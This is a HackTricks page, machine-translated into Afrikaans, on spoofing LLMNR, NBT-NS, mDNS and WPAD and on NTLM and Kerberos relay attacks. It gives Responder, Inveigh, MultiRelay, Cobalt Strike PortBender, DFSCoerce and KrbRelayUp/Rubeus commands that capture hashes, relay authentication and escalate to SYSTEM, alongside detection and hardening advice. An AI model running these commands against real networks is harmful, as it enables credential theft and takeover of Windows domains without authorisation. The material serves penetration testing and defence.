hacktricks/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

235 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Spoofing LLMNR, NBT-NS, mDNS/DNS en WPAD en Relay-aanvalle
{{#include ../../banners/hacktricks-training.md}}
## Netwerkprotokolle
### Plaaslike Gasheer Oplossingsprotokolle
- **LLMNR, NBT-NS, en mDNS**:
- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS misluk. Net so gebruik Apple en Linux stelsels mDNS.
- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul nie-geverifieerde, uitsendingsnatuur oor UDP.
- [Responder](https://github.com/lgandx/Responder) kan gebruik word om dienste na te boots deur vervalste antwoorde na gashere wat hierdie protokolle vra, te stuur.
- Verdere inligting oor diensna-booting met Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word.
### Web Proxy Auto-Discovery Protokol (WPAD)
- WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS indien DNS misluk.
- Responder kan WPAD-aanvalle outomatiseer, wat kliënte na kwaadwillige WPAD-bedieners lei.
### Responder vir Protokol Vergiftiging
- **Responder** is 'n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR, NBT-NS, en mDNS vrae, wat selektief antwoordgee gebaseer op vraetipes, hoofsaaklik teiken SMB-dienste.
- Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by `/etc/responder/Responder.conf`.
- Responder vertoon gevangen hashes op die skerm en stoor dit in die `/usr/share/responder/logs` gids.
- Dit ondersteun beide IPv4 en IPv6.
- Windows weergawe van Responder is [hier](https://github.com/lgandx/Responder-Windows) beskikbaar.
#### Responder Uitvoer
- Om Responder met standaardinstellings te laat loop: `responder -I <Interface>`
- Vir meer aggressiewe ondersoek (met moontlike newe-effekte): `responder -I <Interface> -P -r -v`
- Tegnieke om NTLMv1 uitdagings/antwoorde te vang vir makliker krak: `responder -I <Interface> --lm --disable-ess`
- WPAD-na-booting kan geaktiveer word met: `responder -I <Interface> --wpad`
- NetBIOS versoeke kan opgelos word na die aanvaller se IP, en 'n verifikasie-proxy kan opgestel word: `responder.py -I <interface> -Pv`
### DHCP Vergiftiging met Responder
- Spoofing DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n meer stil alternatief bied vir ARP vergiftiging.
- Dit vereis presiese kennis van die teiken netwerk se konfigurasie.
- Om die aanval te laat loop: `./Responder.py -I eth0 -Pdv`
- Hierdie metode kan effektief NTLMv1/2 hashes vang, maar dit vereis versigtige hantering om netwerkonderbreking te vermy.
### Capturing Kredensiale met Responder
- Responder sal dienste na boot met die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Uitdaging/Antwoord) vang wanneer 'n gebruiker probeer om te verifieer teen die gespoofde dienste.
- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker kredensiaal krak.
Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties moet wees, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy.
## Inveigh
Inveigh is 'n hulpmiddel vir penetrasietoetsers en rooi spanlede, ontwerp vir Windows stelsels. Dit bied funksies soortgelyk aan Responder, wat spoofing en man-in-the-middle aanvalle uitvoer. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C# binaire, met [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as die hoof weergawes. Gedetailleerde parameters en instruksies kan in die [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) gevind word.
Inveigh kan deur PowerShell bedryf word:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Of uitgevoer as 'n C# binêre:
```bash
Inveigh.exe
```
### NTLM Relay Aanval
Hierdie aanval benut SMB-outeentigingsessies om toegang tot 'n teikenmasjien te verkry, wat 'n stelselshell bied indien suksesvol. Sleutelvereistes sluit in:
- Die outentiserende gebruiker moet Lokale Admin-toegang op die oorgedraagde gasheer hê.
- SMB-handtekening moet gedeaktiveer wees.
#### 445 Poort Oorgang en Tunneling
In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 oorgedra en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir stuurprogramlaai.
PortBender opstelling en werking in Cobalt Strike:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Ander Gereedskap vir NTLM Relay Aanval
- **Metasploit**: Opgestel met proxies, plaaslike en afstandshost besonderhede.
- **smbrelayx**: 'n Python-skrip vir die oordrag van SMB-sessies en die uitvoer van opdragte of die ontplooiing van agterdeure.
- **MultiRelay**: 'n Gereedskap van die Responder-suite om spesifieke gebruikers of alle gebruikers te relaye, opdragte uit te voer, of hashes te dump.
Elke gereedskap kan gekonfigureer word om deur 'n SOCKS-proxy te werk, indien nodig, wat aanvalle moontlik maak selfs met indirekte netwerktoegang.
### MultiRelay Operasie
MultiRelay word uitgevoer vanaf die _**/usr/share/responder/tools**_ gids, wat spesifieke IP's of gebruikers teiken.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay-aanvalle in verskeie netwerkomgewings.
### Force NTLM Logins
In Windows **kan jy dalk sommige bevoorregte rekeninge dwing om te autentiseer op arbitrêre masjiene**. Lees die volgende bladsy om te leer hoe:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Kerberos Relay aanval
'n **Kerberos relay aanval** steel 'n **AP-REQ kaartjie** van een diens en hergebruik dit teen 'n tweede diens wat die **dieselfde rekenaar-rekening sleutel** deel (omdat beide SPNs op dieselfde `$` masjienrekening sit). Dit werk selfs al verskil die SPNs **diensklasse** (bv. `CIFS/``LDAP/`) omdat die *sleutel* wat die kaartjie ontsleutel, die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.
In teenstelling met NTLM relay, is die sprong beperk tot die *dieselfde gasheer* maar, as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy in **Hulpbron-gebaseerde Beperkte Delegasie (RBCD)** of **AD CS inskrywing** ketting en **NT AUTHORITY\SYSTEM** in 'n enkele skoot pop.
Vir gedetailleerde inligting oor hierdie aanval, kyk:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Kerberos basiese beginsels**
| Token | Doel | Relay relevantie |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Bewys die gebruiker aan die KDC | onaangeraak |
| **Diens kaartjie / TGS-REQ ↔ REP** | Gebonden aan een **SPN**; versleuteld met die SPN-eienaar se sleutel | uitruilbaar as SPNs rekening deel |
| **AP-REQ** | Kliënt stuur `TGS` na die diens | **wat ons steel & herhaal** |
* Kaartjies is versleuteld met die **wagwoord-afgeleide sleutel van die rekening wat die SPN besit**.
* Die **Authenticator** binne die AP-REQ het 'n 5-minuut tydstempel; herhaling binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
* Windows kontroleer selde of die SPN-string in die kaartjie ooreenstem met die diens wat jy tref, so 'n kaartjie vir `CIFS/HOST` ontcijfer normaalweg goed op `LDAP/HOST`.
- 2. **Wat moet waar wees om Kerberos te relay**
1. **Gedeelde sleutel:** bron en teiken SPNs behoort tot dieselfde rekenaarrekening (standaard op Windows bedieners).
2. **Geen kanaalbeskerming:** SMB/LDAP ondertekening af en EPA af vir HTTP/LDAPS.
3. **Jy kan autentisering onderskep of dwing:** LLMNR/NBNS vergiftiging, DNS spoof, **PetitPotam / DFSCoerce RPC**, vals AuthIP, rogue DCOM, ens.
4. **Kaartjie bron nie reeds gebruik nie:** jy wen die wedloop voordat die werklike pakket aankom of blokkeer dit heeltemal; anders skiet die bediener se herhalingskas Gebeurtenis 4649 af.
5. Jy moet op een of ander manier in staat wees om 'n **MitM in die kommunikasie** uit te voer, dalk deel van die DNSAmins-groep wees om die DNS van die domein te verander of in staat wees om die HOST-lêer van die slagoffer te verander.
### Kerberos Relay Stappe
- 3.1 **Recon die gasheer**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Begin die relay luisteraar**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` verpak **KrbRelay → LDAP → RBCD → Rubeus → SCM omseiling** in een binêre.
- 3.3 **Dwing Kerberos outentisering**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce laat die DC toe om 'n Kerberos `CIFS/DC01` kaartjie na ons te stuur.
- 3.4 **Herleef die AP-REQ**
KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na `ldap://DC01`—autentisering slaag omdat die **dieselfde sleutel** dit ontsleutel.
- 3.5 **Misbruik LDAP ➜ RBCD ➜ SISTEEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.
### **Meer paaie wat die moeite werd is om te ken**
| Vektor | Truuk | Hoekom dit belangrik is |
|--------|-------|----------------|
| **AuthIP / IPSec** | Vals bediener stuur 'n **GSS-ID payload** met enige SPN; kliënt bou 'n AP-REQ reg na jou | Werk selfs oor subnets; masjien krediete per standaard |
| **DCOM / MSRPC** | Kwaadwillige OXID-oplosser dwing kliënt om te autentiseer na arbitrêre SPN en poort | Pure *lokale* priv-eskalering; omseil firewall |
| **AD CS Web Enroll** | Relay masjien kaart na `HTTP/CA` en kry 'n sertifikaat, dan **PKINIT** om TGT's te mint | Omseil LDAP ondertekening verdediging |
| **Shadow Credentials** | Skryf `msDS-KeyCredentialLink`, dan PKINIT met vervalste sleutel paar | Geen behoefte om 'n rekenaarrekening by te voeg nie |
### **Probleemoplossing**
| Fout | Betekenis | Regstelling |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Kaart sleutel ≠ teiken sleutel | Verkeerde gasheer/SPN |
| `KRB_AP_ERR_SKEW` | Klok > 5 min offset | Sink tyd of gebruik `w32tm` |
| LDAP bind misluk | Ondertekening afgedwing | Gebruik AD CS pad of deaktiveer ondertekening |
| Gebeurtenis 4649 spam | Diens het duplikaat Authenticator gesien | blokkeer of wedloop oorspronklike pakket |
### **Detectie**
* Toename in **Gebeurtenis 4769** vir `CIFS/`, `HTTP/`, `LDAP/` van dieselfde bron binne sekondes.
* **Gebeurtenis 4649** op die diens dui aan dat herhaling opgespoor is.
* Kerberos aanmelding van **127.0.0.1** (relay na plaaslike SCM) is hoogs verdag—kaart via Sigma-reël in KrbRelayUp docs.
* Kyk na veranderinge aan `msDS-AllowedToActOnBehalfOfOtherIdentity` of `msDS-KeyCredentialLink` eienskappe.
## **Versterking**
1. **Handhaaf LDAP & SMB ondertekening + EPA** op elke bediener.
2. **Verdeel SPNs** sodat HTTP nie op dieselfde rekening as CIFS/LDAP is nie.
3. Patches vir dwang vektore (PetitPotam KB5005413, DFS, AuthIP).
4. Stel **`ms-DS-MachineAccountQuota = 0`** in om rogue rekenaar aansluitings te stop.
5. Laat weet oor **Gebeurtenis 4649** en onverwagte loopback Kerberos aanmeldings.
## Verwysings
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
{{#include ../../banners/hacktricks-training.md}}